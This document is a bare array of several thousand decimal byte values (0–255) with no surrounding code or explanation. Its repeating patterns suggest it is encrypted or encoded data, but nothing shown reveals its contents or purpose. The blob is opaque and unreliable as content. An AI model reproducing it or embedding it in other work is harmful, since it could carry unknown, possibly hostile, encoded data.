103, 92, 41, 1, 124, 17, 102, 95, 101, 52, 234, 39, 198, 93, 33, 158, 236, 32, 184, 130, 81, 54, 210, 8, 204, 171, 121, 5, 246, 247, 73, 207, 223, 5, 173, 234, 254, 141, 28, 30, 167, 8, 92, 138, 159, 39, 108, 166, 198, 234, 41, 69, 18, 7, 65, 219, 133, 70, 128, 190, 15, 158, 193, 242, 94, 100, 221, 216, 228, 228, 58, 52, 112, 48, 72, 184, 149, 186, 80, 153, 91, 248, 222, 234, 64, 17, 250, 47, 64, 105, 145, 63, 89, 8, 68, 90, 138, 39, 45, 43, 156, 192, 194, 193, 104, 28, 254, 206, 211, 24, 162, 229, 40, 164, 190, 190, 138, 30, 242, 140, 7, 7, 153, 233, 206, 81, 122, 7, 17, 22, 210, 204, 229, 10, 92, 44, 169, 107, 76, 232, 94, 103, 138, 175, 111, 24, 158, 220, 231, 164, 192, 31, 179, 190, 215, 105, 155, 161, 222, 100, 100, 80, 28, 31, 115, 26, 154, 247, 203, 94, 138, 142, 246, 250, 181, 133, 60, 105, 67, 165, 76, 143, 16, 0, 213, 51, 101, 83, 137, 205, 234, 106, 227, 198, 219, 244, 141, 168, 149, 126, 20, 77, 3, 47, 42, 37, 53, 148, 111, 226, 126, 173, 52, 69, 158, 0, 194, 206, 65, 176, 214, 56, 172, 57, 189, 215, 241, 245, 43, 196, 157, 188, 131, 145, 39, 54, 202, 204, 252, 187, 133, 64, 0, 214, 124, 3, 40, 146, 104, 129, 178, 133, 4, 240, 227, 242, 69, 6, 140, 161, 164, 84, 112, 23, 81, 186, 158, 196, 136, 203, 247, 215, 218, 12, 107, 162, 38, 47, 99, 66, 118, 137, 21, 166, 134, 146, 211, 96, 29, 210, 182, 172, 198, 239, 145, 8, 241, 155, 134, 132, 58, 153, 179, 16, 61, 34, 64, 46, 19, 168, 34, 9, 155, 239, 56, 127, 133, 2, 234, 135, 127, 145, 120, 154, 117, 68, 222, 175, 141, 103, 17, 217, 224, 101, 127, 3, 143, 157, 147, 82, 136, 176, 93, 50, 75, 206, 216, 252, 192, 29, 173, 13, 107, 78, 41, 3, 124, 17, 102, 94, 101, 52, 234, 36, 199, 91, 33, 158, 239, 35, 179, 130, 81, 54, 208, 12, 204, 171, 121, 13, 241, 247, 73, 200, 194, 9, 191, 237, 254, 141, 28, 30, 165, 3, 92, 138, 148, 32, 113, 170, 215, 238, 46, 81, 30, 22, 71, 213, 156, 74, 145, 189, 11, 134, 205, 227, 82, 126, 209, 201, 229, 238, 58, 52, 119, 54, 85, 180, 131, 189, 76, 140, 70, 234, 208, 255, 76, 4, 240, 49, 76, 126, 149, 39, 64, 19, 85, 68, 155, 34, 53, 60, 135, 216, 221, 208, 117, 9, 244, 213, 223, 9, 163, 226, 60, 168, 175, 181, 142, 2, 254, 159, 2, 28, 149, 251, 201, 85, 122, 7, 20, 20, 204, 192, 244, 6, 91, 44, 169, 104, 78, 236, 94, 103, 140, 168, 122, 20, 140, 222, 228, 164, 192, 31, 186, 190, 215, 106, 156, 161, 222, 103, 103, 84, 28, 31, 115, 25, 154, 247, 203, 93, 136, 141, 246, 250, 182, 130, 48, 105, 67, 161, 76, 146, 28, 20, 209, 43, 116, 77, 152, 208, 242, 111, 250, 209, 198, 226, 138, 176, 131, 100, 12, 80, 18, 43, 62, 52, 45, 130, 114, 251, 125, 181, 56, 83, 156, 30, 206, 223, 66, 180, 207, 52, 189, 49, 189, 215, 241, 245, 42, 193, 157, 188, 128, 145, 40, 54, 202, 202, 252, 164, 137, 82, 6, 212, 99, 15, 57, 144, 109, 159, 190, 144, 5, 238, 244, 239, 80, 0, 147, 179, 188, 66, 109, 5, 87, 160, 137, 218, 157, 214, 231, 211, 197, 20, 118, 176, 37, 52, 116, 95, 98, 136, 8, 181, 155, 129, 210, 121, 13, 207, 163, 168, 198, 239, 145, 10, 247, 155, 134, 134, 59, 134, 191, 2, 59, 61, 76, 60, 17, 167, 61, 5, 142, 234, 37, 107, 145, 27, 244, 159, 98, 134, 114, 131, 121, 87, 195, 188, 140, 124, 29, 205, 253, 117, 118, 31, 131, 139, 150, 72, 155, 173, 73, 49, 95, 216, 195, 240, 209, 16, 163, 13, 107, 77, 47, 6, 124, 17, 99, 81, 113, 56, 243, 32, 223, 73, 52, 140, 242, 53, 184, 156, 70, 43, 197, 8, 208, 179, 100, 29, 240, 233, 69, 221, 193, 18, 179, 249, 247, 145, 8, 3, 177, 2, 92, 138, 151, 34, 119, 170, 215, 229, 45, 69, 18, 7, 68, 218, 133, 70, 128, 188, 11, 158, 193, 242, 86, 123, 209, 201, 225, 230, 39, 56, 101, 48, 84, 170, 143, 175, 78, 139, 89, 230, 199, 247, 85, 20, 229, 35, 82, 111, 145, 63, 89, 7, 69, 90, 138, 36, 45, 43, 156, 192, 192, 196, 104, 28, 253, 200, 207, 20, 176, 230, 40, 185, 178, 172, 139, 31, 237, 128, 20, 5, 134, 229, 220, 87, 99, 21, 12, 4, 212, 214, 233, 30, 91, 57, 185, 117, 94, 232, 67, 107, 157, 171, 111, 24, 148, 217, 248, 168, 209, 27, 176, 190, 215, 106, 153, 191, 210, 118, 98, 92, 28, 31, 112, 28, 156, 247, 203, 94, 138, 139, 246, 250, 182, 130, 53, 105, 67, 164, 82, 131, 1, 7, 217, 51, 101, 82, 148, 193, 251, 106, 229, 221, 215, 230, 142, 174, 143, 114, 12, 78, 30, 58, 51, 48, 45, 130, 114, 240, 123, 181, 56, 83, 158, 30, 206, 223, 65, 182, 207, 52, 189, 51, 187, 215, 241, 243, 42, 219, 145, 165, 138, 137, 63, 41, 223, 212, 239, 166, 145, 66, 24, 198, 97, 19, 41, 141, 123, 158, 171, 156, 20, 237, 240, 239, 80, 0, 149, 178, 188, 66, 110, 3, 87, 160, 137, 217, 157, 195, 235, 193, 199, 29, 98, 188, 52, 50, 118, 95, 98, 139, 9, 180, 155, 129, 209, 122, 14, 207, 163, 170, 218, 250, 140, 25, 245, 132, 144, 153, 35, 155, 166, 28, 44, 35, 92, 58, 14, 191, 32, 22, 138, 241, 41, 114, 157, 14, 248, 142, 106, 137, 102, 143, 109, 72, 207, 174, 133, 123, 29, 205, 253, 119, 127, 31, 131, 143, 144, 83, 151, 188, 76, 54, 65, 212, 212, 237, 201, 28, 183, 1, 122, 79, 46, 24, 112, 3, 99, 80, 113, 56, 251, 44, 198, 69, 45, 134, 233, 57, 170, 153, 71, 43, 197, 11, 212, 190, 100, 29, 240, 235, 89, 209, 211, 20, 168, 236, 234, 129, 13, 31, 164, 23, 80, 155, 149, 35, 108, 166, 197, 236, 40, 69, 18, 4, 69, 221, 133, 70, 131, 190, 1, 158, 193, 245, 87, 100, 221, 219, 228, 228, 58, 52, 124, 50, 72, 184, 146, 191, 72, 149, 74, 251, 208, 246, 76, 4, 248, 58, 85, 114, 135, 33, 75, 8, 89, 86, 146, 33, 53, 60, 130, 210, 201, 220, 100, 14, 253, 213, 223, 12, 161, 251, 48, 184, 178, 172, 139, 31, 234, 128, 20, 2, 134, 254, 208, 69, 100, 22, 16, 8, 192, 214, 244, 18, 74, 52, 187, 117, 94, 238, 67, 114, 145, 184, 112, 13, 128, 205, 230, 187, 204, 9, 176, 163, 196, 116, 138, 188, 200, 101, 122, 69, 2, 11, 113, 3, 141, 236, 218, 67, 152, 143, 233, 227, 171, 145, 53, 124, 84, 188, 94, 146, 7, 1, 204, 63, 116, 85, 140, 205, 234, 106, 224, 198, 219, 244, 142, 173, 151, 126, 20, 78, 3, 45, 42, 37, 56, 147, 111, 226, 125, 174, 33, 73, 138, 3, 215, 219, 95, 164, 219, 44, 160, 32, 187, 204, 233, 232, 50, 194, 129, 176, 146, 151, 46, 35, 198, 216, 246, 162, 137, 82, 1, 210, 124, 3, 40, 149, 99, 129, 178, 129, 1, 233, 239, 227, 69, 10, 140, 161, 161, 80, 112, 23, 89, 184, 133, 200, 158, 201, 235, 193, 193, 29, 118, 176, 37, 55, 114, 95, 98, 141, 8, 170, 151, 144, 217, 123, 17, 195, 177, 160, 198, 239, 146, 12, 244, 155, 134, 135, 48, 153, 179, 16, 62, 35, 90, 34, 2, 173, 36, 16, 151, 253, 61, 123, 133, 2, 233, 135, 101, 157, 106, 158, 96, 80, 195, 188, 134, 123, 5, 193, 236, 116, 119, 5, 143, 157, 148, 87, 151, 188, 74, 48, 95, 216, 198, 233, 196, 8, 187, 24, 125, 80, 61, 6, 98, 4, 123, 73, 108, 32, 254, 57, 211, 88, 52, 143, 242, 53, 187, 156, 70, 43, 197, 14, 212, 167, 104, 12, 245, 234, 69, 221, 194, 28, 168, 245, 230, 144, 9, 30, 189, 27, 65, 154, 151, 56, 96, 178, 195, 240, 63, 91, 7, 3, 90, 205, 155, 82, 129, 160, 24, 131, 217, 244, 75, 104, 204, 222, 230, 251, 54, 32, 119, 46, 68, 170, 146, 183, 80, 153, 91, 248, 211, 234, 64, 16, 252, 47, 64, 108, 150, 63, 89, 9, 66, 90, 138, 39, 44, 40, 156, 192, 201, 200, 104, 28, 253, 202, 203, 20, 176, 230, 38, 190, 178, 172, 139, 22, 232, 128, 20, 2, 133, 255, 208, 69, 98, 21, 12, 4, 210, 210, 252, 18, 74, 52, 189, 117, 94, 237, 66, 107, 157, 169, 113, 14, 128, 205, 225, 189, 204, 9, 179, 165, 197, 116, 138, 191, 202, 100, 122, 69, 1, 10, 123, 3, 141, 234, 210, 87, 148, 157, 235, 226, 190, 157, 36, 119, 81, 166, 82, 131, 2, 1, 208, 51, 101, 80, 129, 215, 230, 123, 224, 192, 219, 244, 137, 174, 143, 114, 5, 80, 18, 40, 51, 49, 45, 130, 113, 241, 126, 181, 56, 84, 156, 2, 194, 206, 65, 180, 209, 56, 172, 49, 179, 205, 253, 228, 35, 199, 133, 176, 146, 148, 42, 40, 198, 216, 247, 162, 137, 82, 5, 208, 99, 15, 57, 146, 111, 129, 178, 135, 24, 252, 242, 251, 67, 30, 128, 181, 164, 78, 124, 6, 83, 190, 133, 200, 154, 203, 246, 205, 214, 29, 105, 165, 56, 35, 123, 70, 110, 154, 8, 180, 135, 141, 192, 116, 4, 207, 163, 170, 217, 251, 140, 25, 245, 132, 158, 153, 35, 152, 174, 9, 32, 49, 90, 63, 14, 191, 32, 23, 151, 253, 56, 115, 156, 14, 248, 142, 101, 135, 102, 143, 104, 82, 214, 176, 148, 122, 0, 213, 224, 101, 117, 0, 149, 145, 130, 86, 139, 168, 81, 35, 66, 204, 216, 252, 198, 23, 183, 1, 122, 76, 47, 24, 112, 0, 97, 69, 125, 44, 250, 57, 211, 93, 52, 146, 254, 35, 179, 130, 81, 49, 221, 21, 192, 185, 122, 10, 238, 251, 88, 197, 194, 9, 191, 234, 243, 141, 28, 28, 162, 23, 80, 155, 145, 45, 108, 166, 197, 228, 51, 73, 0, 0, 90, 205, 152, 82, 137, 160, 24, 128, 205, 227, 86, 122, 197, 197, 240, 229, 38, 38, 105, 34, 86, 168, 149, 163, 92, 136, 93, 254, 203, 230, 81, 19, 248, 47, 64, 111, 149, 39, 85, 31, 76, 71, 134, 53, 40, 42, 129, 204, 209, 193, 116, 14, 224, 217, 202, 0, 188, 247, 33, 190, 175, 160, 154, 26, 233, 128, 20, 6, 130, 229, 220, 80, 122, 7, 21, 19, 204, 192, 244, 12, 82, 44, 169, 107, 76, 234, 94, 103, 140, 173, 123, 20, 140, 223, 230, 190, 204, 9, 179, 166, 193, 116, 138, 191, 206, 111, 122, 69, 4, 13, 110, 15, 159, 238, 218, 67, 152, 140, 235, 239, 171, 145, 54, 119, 90, 188, 94, 155, 3, 24, 192, 46, 112, 85, 148, 193, 251, 107, 224, 221, 215, 229, 136, 164, 143, 114, 6, 72, 3, 54, 38, 55, 53, 151, 111, 226, 125, 170, 40, 73, 138, 0, 220, 223, 95, 164, 219, 44, 160, 32, 189, 215, 241, 245, 42, 195, 157, 188, 133, 148, 51, 58, 219, 200, 252, 187, 133, 70, 3, 202, 112, 27, 43, 141, 123, 152, 160, 156, 20, 237, 245, 240, 92, 18, 146, 179, 166, 78, 124, 6, 81, 181, 133, 200, 153, 200, 241, 205, 214, 29, 104, 160, 56, 35, 118, 68, 110, 154, 8, 190, 155, 129, 210, 116, 17, 195, 178, 174, 216, 227, 128, 11, 241, 131, 138, 149, 50, 153, 174, 28, 44, 35, 88, 56, 14, 191, 32, 29, 142, 241, 41, 121, 153, 27, 244, 159, 98, 132, 115, 131, 121, 80, 217, 176, 148, 122, 0, 219, 224, 101, 118, 11, 146, 145, 130, 86, 143, 175, 81, 35, 67, 212, 212, 238, 197, 28, 183, 1, 121, 73, 47, 24, 112, 3, 103, 91, 113, 56, 248, 37, 203, 69, 45, 143, 231, 36, 166, 142, 67, 49, 201, 25, 209, 189, 124, 17, 226, 234, 91, 200, 223, 5, 174, 237, 234, 129, 11, 30, 189, 27, 66, 153, 145, 56, 96, 190, 198, 240, 63, 88, 0, 4, 90, 205, 156, 94, 157, 172, 10, 131, 210, 239, 71, 122, 201, 197, 240, 229, 32, 56, 101, 51, 80, 180, 131, 187, 74, 149, 74, 248, 210, 246, 76, 4, 248, 54, 86, 114, 135, 33, 72, 15, 89, 86, 156, 33, 53, 60, 129, 212, 201, 220, 100, 10, 252, 213, 223, 10, 160, 228, 60, 168, 175, 184, 141, 2, 254, 157, 13, 8, 153, 233, 197, 92, 122, 7, 23, 22, 204, 192, 246, 7, 70, 32, 187, 109, 73, 240, 82, 118, 142, 168, 111, 24, 157, 219, 236, 164, 192, 24, 187, 160, 219, 120, 153, 184, 210, 118, 100, 86, 5, 19, 98, 30, 157, 237, 199, 79, 137, 145, 250, 226, 178, 157, 36, 119, 84, 188, 94, 150, 0, 24, 192, 46, 119, 85, 148, 193, 248, 110, 231, 221, 215, 224, 142, 176, 131, 99, 0, 73, 30, 58, 63, 51, 45, 130, 122, 240, 96, 185, 42, 87, 147, 30, 206, 223, 68, 183, 207, 52, 184, 44, 170, 207, 230, 232, 50, 198, 130, 169, 158, 133, 46, 43, 217, 212, 239, 162, 157, 94, 20, 215, 101, 15, 57, 144, 109, 153, 190, 144, 5, 234, 246, 239, 80, 7, 146, 173, 176, 80, 109, 14, 76, 172, 152, 218, 145, 214, 231, 208, 196, 20, 118, 176, 37, 58, 114, 95, 98, 139, 14, 180, 155, 129, 217, 124, 17, 195, 178, 172, 198, 239, 147, 1, 232, 151, 148, 134, 50, 134, 191, 2, 61, 35, 64, 46, 19, 172, 61, 5, 137, 239, 48, 103, 137, 23, 237, 147, 115, 131, 126, 151, 117, 68, 214, 172, 152, 107, 5, 193, 236, 115, 113, 31, 131, 143, 151, 81, 151, 188, 72, 58, 95, 216, 197, 232, 195, 8, 187, 23, 127, 80, 61, 12, 98, 29, 119, 90, 106, 52, 234, 32, 198, 69, 45, 140, 237, 37, 166, 142, 67, 54, 220, 21, 192, 191, 124, 17, 226, 233, 81, 209, 211, 28, 179, 249, 247, 153, 11, 3, 177, 9, 68, 157, 138, 52, 113, 191, 195, 240, 63, 91, 1, 14, 90, 205, 155, 83, 130, 160, 24, 131, 216, 239, 71, 121, 201, 220, 252, 247, 33, 36, 105, 34, 82, 175, 143, 175, 77, 137, 70, 234, 210, 255, 76, 4, 248, 53, 76, 126, 150, 35, 75, 19, 85, 71, 155, 45, 53, 60, 130, 211, 194, 220, 100, 14, 253, 192, 211, 24, 162, 231, 36, 164, 190, 190, 141, 2, 254, 158, 4, 2, 153, 233, 202, 73, 118, 22, 18, 8, 192, 209, 242, 14, 70, 32, 184, 109, 71, 240, 82, 118, 142, 180, 99, 10, 149, 193, 244, 186, 211, 27, 174, 178, 198, 107, 158, 161, 222, 103, 96, 80, 28, 31, 114, 3, 141, 232, 199, 79, 137, 143, 234, 246, 167, 133, 54, 105, 67, 162, 79, 154, 28, 20, 210, 47, 119, 77, 152, 214, 255, 119, 246, 192, 195, 224, 144, 188, 146, 106, 4, 80, 18, 41, 63, 41, 33, 147, 114, 250, 96, 185, 41, 82, 155, 30, 206, 220, 71, 182, 207, 52, 190, 49, 189, 215, 241, 245, 38, 197, 157, 188, 139, 151, 51, 58, 216, 200, 247, 187, 133, 67, 4, 211, 124, 3, 47, 144, 119, 141, 165, 132, 24, 252, 251, 241, 92, 18, 146, 180, 188, 66, 104, 1, 76, 172, 155, 219, 144, 214, 231, 208, 218, 12, 107, 169, 38, 47, 99, 64, 113, 150, 25, 180, 131, 148, 204, 108, 12, 209, 180, 180, 202, 253, 149, 12, 232, 151, 151, 131, 59, 134, 191, 5, 63, 61, 76, 63, 26, 179, 49, 22, 137, 241, 41, 121, 153, 19, 244, 159, 101, 132, 102, 143, 104, 85, 195, 188, 134, 120, 1, 193, 236, 124, 114, 31, 131, 140, 148, 93, 151, 188, 79, 50, 74, 212, 212, 237, 194, 22, 183, 1, 121, 73, 49, 20, 98, 2, 97, 69, 125, 41, 248, 38, 223, 73, 63, 138, 234, 57, 170, 156, 68, 51, 201, 25, 214, 186, 100, 29, 240, 238, 92, 209, 211, 20, 172, 237, 234, 129, 13, 25, 161, 23, 80, 155, 149, 36, 108, 166, 206, 236, 51, 73, 0, 3, 90, 205, 144, 82, 157, 172, 12, 129, 205, 227, 86, 120, 205, 197, 240, 230, 32, 38, 105, 34, 92, 171, 143, 175, 72, 139, 70, 234, 214, 243, 80, 8, 233, 54, 81, 114, 135, 34, 75, 8, 89, 86, 155, 39, 44, 48, 144, 210, 193, 193, 104, 28, 253, 203, 201, 20, 176, 229, 35, 185, 178, 172, 131, 31, 242, 140, 7, 4, 153, 233, 196, 83, 122, 7, 25, 29, 204, 192, 253, 13, 70, 32, 191, 96, 82, 252, 64, 117, 137, 180, 99, 10, 156, 219, 248, 168, 209, 26, 179, 190, 215, 105, 158, 187, 210, 118, 100, 86, 1, 19, 98, 30, 158, 226, 199, 79, 128, 142, 246, 250, 182, 134, 50, 105, 67, 162, 74, 155, 28, 20, 209, 46, 116, 77, 152, 208, 249, 98, 250, 209, 198, 227, 137, 176, 131, 100, 24, 92, 0, 42, 63, 41, 33, 147, 113, 244, 96, 185, 42, 85, 158, 30, 206, 214, 75, 168, 195, 37, 191, 57, 166, 219, 226, 247, 62, 215, 128, 175, 135, 137, 63, 40, 217, 200, 227, 183, 148, 64, 0, 202, 112, 17, 45, 149, 119, 141, 160, 156, 20, 234, 246, 239, 80, 3, 150, 173, 176, 91, 111, 27, 64, 189, 157, 222, 132, 218, 246, 217, 218, 12, 107, 165, 34, 47, 99, 66, 123, 136, 21, 166, 142, 153, 204, 108, 8, 210, 175, 184, 216, 252, 148, 21, 228, 133, 147, 135, 47, 138, 174, 5, 60, 61, 76, 56, 21, 179, 49, 23, 143, 235, 37, 107, 152, 23, 244, 159, 97, 133, 126, 131, 121, 80, 223, 176, 148, 121, 2, 213, 224, 101, 118, 4, 151, 145, 130, 86, 139, 174, 81, 35, 66, 192, 199, 240, 209, 21, 173, 13, 107, 73, 43, 24, 112, 2, 110, 69, 125, 41, 243, 44, 223, 73, 60, 134, 233, 57, 170, 156, 70, 43, 197, 11, 212, 184, 100, 29, 240, 239, 91, 209, 211, 28, 171, 245, 230, 144, 9, 24, 189, 27, 66, 152, 144, 56, 96, 183, 199, 236, 51, 73, 0, 2, 68, 193, 137, 84, 129, 187, 20, 146, 208, 251, 94, 100, 221, 221, 252, 247, 36, 33, 105, 34, 85, 161, 147, 163, 92, 136, 83, 243, 203, 230, 81, 16, 250, 47, 64, 108, 149, 63, 89, 11, 64, 90, 138, 33, 43, 48, 144, 209, 196, 197, 104, 28, 253, 203, 200, 20, 176, 230, 39, 188, 178, 172, 130, 22, 242, 140, 3, 8, 153, 233, 205, 81, 111, 11, 0, 18, 217, 204, 229, 12, 89, 52, 165, 121, 76, 237, 70, 107, 157, 170, 114, 14, 128, 205, 229, 190, 217, 5, 162, 164, 193, 116, 138, 188, 203, 98, 122, 69, 1, 13, 112, 3, 141, 234, 199, 79, 138, 143, 233, 246, 167, 135, 54, 105, 67, 161, 70, 154, 28, 20, 209, 40, 125, 77, 152, 208, 249, 107, 250, 209, 198, 225, 140, 176, 131, 99, 0, 76, 30, 58, 52, 53, 45, 130, 118, 241, 96, 185, 41, 83, 158, 30, 206, 223, 71, 189, 207, 52, 189, 53, 186, 215, 241, 245, 39, 206, 157, 188, 133, 147, 51, 58, 216, 205, 227, 183, 147, 94, 20, 215, 105, 26, 53, 129, 106, 152, 190, 144, 7, 233, 239, 227, 65, 11, 151, 173, 176, 83, 111, 15, 76, 172, 152, 222, 144, 214, 231, 208, 195, 29, 118, 176, 38, 49, 116, 95, 98, 139, 11, 191, 155, 129, 211, 96, 29, 209, 181, 180, 202, 254, 151, 8, 232, 151, 144, 141, 47, 138, 174, 4, 63, 61, 76, 61, 21, 179, 49, 20, 137, 235, 37, 107, 154, 19, 244, 159, 98, 131, 124, 131, 121, 86, 221, 175, 152, 107, 9, 219, 224, 101, 114, 1, 143, 157, 147, 86, 131, 176, 93, 59, 69, 212, 212, 238, 192, 19, 183, 1, 121, 73, 44, 24, 112, 0, 98, 89, 113, 56, 253, 45, 223, 73, 60, 140, 238, 57, 170, 154, 64, 43, 197, 8, 213, 178, 100, 29, 243, 226, 88, 209, 211, 28, 172, 245, 230, 147, 13, 31, 189, 27, 65, 159, 146, 56, 96, 180, 197, 235, 51, 73, 7, 1, 90, 205, 156, 81, 157, 172, 10, 134, 213, 239, 71, 123, 207, 197, 240, 230, 32, 33, 105, 34, 85, 172, 143, 175, 77, 143, 88, 230, 199, 244, 76, 4, 251, 55, 81, 114, 135, 34, 77, 11, 89, 86, 152, 33, 40, 48, 144, 210, 192, 199, 104, 28, 253, 203, 204, 20, 176, 226, 32, 164, 190, 187, 150, 14, 236, 159, 2, 28, 149, 248, 200, 73, 118, 21, 22, 8, 192, 210, 246, 8, 70, 32, 184, 106, 79, 240, 82, 118, 139, 168, 111, 24, 157, 213, 230, 164, 192, 31, 174, 178, 197, 104, 158, 161, 222, 100, 110, 73, 16, 8, 123, 3, 141, 234, 223, 87, 148, 157, 235, 235, 178, 157, 36, 119, 82, 167, 82, 131, 1, 12, 209, 51, 101, 80, 142, 217, 230, 123, 228, 195, 219, 244, 137, 173, 143, 114, 5, 78, 11, 54, 38, 60, 53, 142, 99, 243, 123, 169, 52, 69, 153, 2, 194, 206, 64, 177, 207, 52, 189, 55, 191, 215, 241, 243, 36, 219, 145, 174, 130, 145, 51, 58, 220, 205, 227, 183, 145, 94, 20, 223, 105, 15, 57, 144, 99, 155, 190, 144, 5, 239, 244, 239, 80, 5, 149, 173, 176, 85, 101, 27, 64, 191, 158, 196, 136, 200, 242, 213, 218, 12, 111, 164, 56, 35, 113, 65, 114, 150, 25, 180, 131, 149, 204, 108, 12, 219, 179, 180, 202, 251, 145, 21, 228, 143, 145, 153, 35, 155, 168, 1, 32, 49, 89, 55, 14, 191, 32, 19, 140, 241, 41, 122, 155, 27, 244, 159, 98, 131, 123, 131, 121, 86, 220, 168, 152, 107, 6, 223, 224, 101, 117, 0, 147, 145, 130, 85, 143, 174, 81, 35, 66, 206, 196, 240, 209, 22, 169, 22, 103, 92, 46, 1, 124, 17, 102, 92, 105, 52, 234, 36, 195, 90, 33, 158, 239, 44, 184, 130, 81, 53, 212, 14, 204, 171, 121, 14, 251, 247, 73, 204, 192, 29, 179, 249, 244, 145, 11, 3, 177, 2, 67, 134, 134, 38, 117, 183, 219, 252, 39, 91, 30, 22, 71, 223, 157, 74, 145, 190, 0, 158, 193, 250, 86, 100, 221, 216, 231, 228, 58, 52, 116, 54, 85, 180, 131, 184, 77, 149, 74, 248, 213, 244, 76, 4, 250, 58, 76, 126, 149, 34, 78, 19, 85, 71, 146, 45, 53, 60, 129, 217, 198, 220, 100, 14, 252, 205, 211, 24, 161, 227, 41, 164, 190, 190, 138, 29, 242, 140, 6, 0, 134, 229, 220, 84, 100, 18, 12, 4, 210, 211, 240, 18, 74, 49, 185, 97, 82, 252, 64, 116, 137, 180, 99, 9, 148, 193, 244, 186, 208, 25, 174, 178, 192, 106, 134, 173, 207, 101, 100, 73, 16, 9, 118, 3, 141, 234, 221, 92, 148, 157, 235, 227, 176, 157, 36, 114, 90, 188, 94, 149, 5, 24, 192, 39, 116, 77, 152, 213, 242, 119, 246, 192, 196, 225, 144, 188, 148, 99, 24, 92, 4, 40, 42, 37, 51, 147, 115, 238, 108, 172, 45, 73, 138, 3, 221, 220, 95, 164, 209, 39, 185, 44, 170, 202, 226, 240, 62, 215, 130, 175, 158, 133, 42, 46, 198, 216, 252, 187, 133, 67, 1, 212, 124, 3, 40, 145, 119, 141, 163, 133, 12, 240, 227, 240, 70, 30, 128, 179, 162, 86, 112, 23, 81, 191, 133, 200, 153, 202, 254, 205, 214, 30, 104, 163, 56, 35, 113, 64, 123, 150, 25, 183, 131, 153, 204, 108, 5, 215, 175, 184, 219, 250, 151, 21, 228, 133, 149, 140, 47, 138, 174, 0, 32, 49, 94, 63, 27, 179, 49, 29, 141, 241, 41, 122, 144, 19, 244, 159, 102, 132, 102, 143, 104, 80, 214, 176, 148, 122, 0, 222, 224, 101, 126, 1, 143, 157, 149, 85, 151, 188, 76, 54, 75, 212, 212, 228, 199, 8, 187, 16, 121, 73, 49, 20, 97, 9, 103, 69, 125, 41, 250, 38, 223, 73, 60, 138, 236, 57, 170, 156, 69, 51, 201, 25, 214, 188, 100, 29, 241, 235, 69, 221, 194, 28, 175, 245, 230, 151, 11, 3, 177, 2, 71, 134, 134, 37, 119, 182, 219, 252, 39, 91, 30, 22, 71, 222, 152, 74, 145, 190, 8, 133, 205, 227, 86, 122, 202, 197, 240, 230, 35, 39, 105, 34, 85, 168, 147, 163, 92, 136, 92, 250, 203, 230, 86, 28, 229, 35, 85, 109, 139, 51, 76, 9, 89, 86, 152, 38, 44, 48, 144, 209, 199, 193, 104, 28, 254, 202, 199, 20, 176, 239, 35, 164, 190, 189, 131, 26, 242, 140, 6, 1, 153, 233, 205, 93, 97, 11, 0, 29, 213, 204, 229, 9, 91, 44, 169, 104, 77, 229, 94, 103, 140, 173, 116, 20, 140, 220, 224, 164, 192, 27, 177, 190, 215, 97, 153, 161, 222, 100, 101, 93, 28, 31, 122, 27, 129, 251, 218, 93, 129, 145, 250, 232, 179, 134, 40, 101, 80, 165, 82, 131, 2, 7, 212, 51, 101, 83, 136, 205, 234, 106, 228, 198, 219, 244, 142, 175, 144, 126, 20, 77, 11, 43, 42, 37, 51, 145, 111, 226, 121, 160, 52, 69, 152, 3, 217, 194, 83, 182, 208, 44, 160, 32, 187, 206, 231, 232, 50, 197, 131, 164, 158, 133, 40, 45, 198, 216, 254, 174, 156, 94, 20, 215, 96, 18, 53, 129, 105, 156, 161, 156, 20, 232, 247, 239, 80, 3, 153, 177, 188, 66, 107, 6, 76, 172, 144, 219, 132, 218, 243, 205, 214, 30, 105, 168, 56, 35, 114, 67, 112, 150, 25, 183, 134, 147, 204, 108, 12, 218, 178, 180, 202, 246, 144, 21, 228, 131, 148, 153, 35, 147, 172, 28, 44, 35, 92, 61, 14, 191, 38, 18, 151, 253, 56, 122, 145, 14, 248, 137, 102, 157, 106, 157, 104, 92, 195, 188, 130, 124, 29, 205, 254, 113, 112, 31, 131, 143, 147, 83, 151, 188, 76, 59, 64, 212, 212, 235, 199, 8, 187, 19, 127, 77, 49, 20, 98, 6, 123, 73, 111, 43, 253, 57, 211, 88, 52, 138, 242, 53, 187, 157, 73, 43, 197, 0, 211, 167, 104, 13, 238, 251, 80, 202, 223, 5, 173, 232, 254, 141, 28, 29, 165, 10, 92, 138, 151, 36, 113, 170, 215, 237, 40, 94, 30, 22, 71, 219, 158, 74, 145, 187, 13, 158, 193, 246, 87, 100, 221, 219, 225, 226, 58, 52, 119, 49, 86, 180, 131, 186, 68, 149, 74, 251, 213, 247, 76, 4, 248, 59, 87, 114, 135, 34, 77, 12, 89, 86, 155, 38, 40, 48, 144, 209, 192, 198, 104, 28, 250, 206, 211, 24, 167, 229, 60, 168, 175, 185, 136, 2, 254, 157, 2, 9, 153, 233, 206, 86, 122, 7, 17, 23, 212, 204, 229, 7, 70, 32, 184, 104, 73, 240, 82, 112, 143, 180, 99, 1, 153, 193, 244, 189, 209, 5, 162, 164, 196, 116, 138, 191, 207, 122, 118, 80, 6, 19, 98, 30, 149, 238, 199, 79, 137, 142, 233, 246, 167, 128, 49, 112, 79, 176, 79, 150, 9, 24, 192, 46, 117, 82, 148, 193, 248, 104, 229, 221, 215, 229, 141, 175, 143, 114, 5, 73, 5, 54, 38, 55, 51, 149, 111, 226, 126, 160, 52, 69, 147, 7, 194, 206, 66, 179, 219, 56, 172, 56, 190, 215, 241, 246, 39, 197, 157, 188, 128, 150, 45, 54, 202, 193, 227, 183, 148, 65, 4, 202, 112, 18, 41, 145, 119, 141, 161, 156, 20, 233, 240, 239, 80, 3, 152, 180, 188, 66, 109, 15, 88, 160, 137, 222, 155, 214, 231, 211, 197, 25, 118, 176, 37, 53, 117, 95, 98, 139, 8, 190, 155, 129, 209, 125, 12, 207, 163, 175, 220, 227, 128, 8, 240, 143, 138, 149, 55, 134, 191, 1, 60, 61, 76, 58, 27, 179, 49, 16, 137, 241, 41, 121, 157, 20, 244, 159, 97, 133, 120, 131, 121, 82, 216, 176, 148, 127, 5, 193, 236, 116, 119, 2, 143, 157, 147, 87, 142, 176, 93, 53, 65, 212, 212, 228, 200, 8, 187, 19, 121, 68, 49, 20, 98, 3, 100, 69, 125, 41, 248, 33, 223, 73, 60, 136, 234, 57, 170, 156, 67, 49, 201, 25, 212, 188, 100, 29, 244, 234, 69, 221, 194, 20, 166, 245, 230, 144, 9, 27, 189, 27, 67, 158, 138, 52, 113, 178, 199, 240, 63, 88, 0, 15, 90, 205, 155, 82, 133, 160, 24, 129, 211, 239, 71, 121, 200, 218, 252, 247, 36, 36, 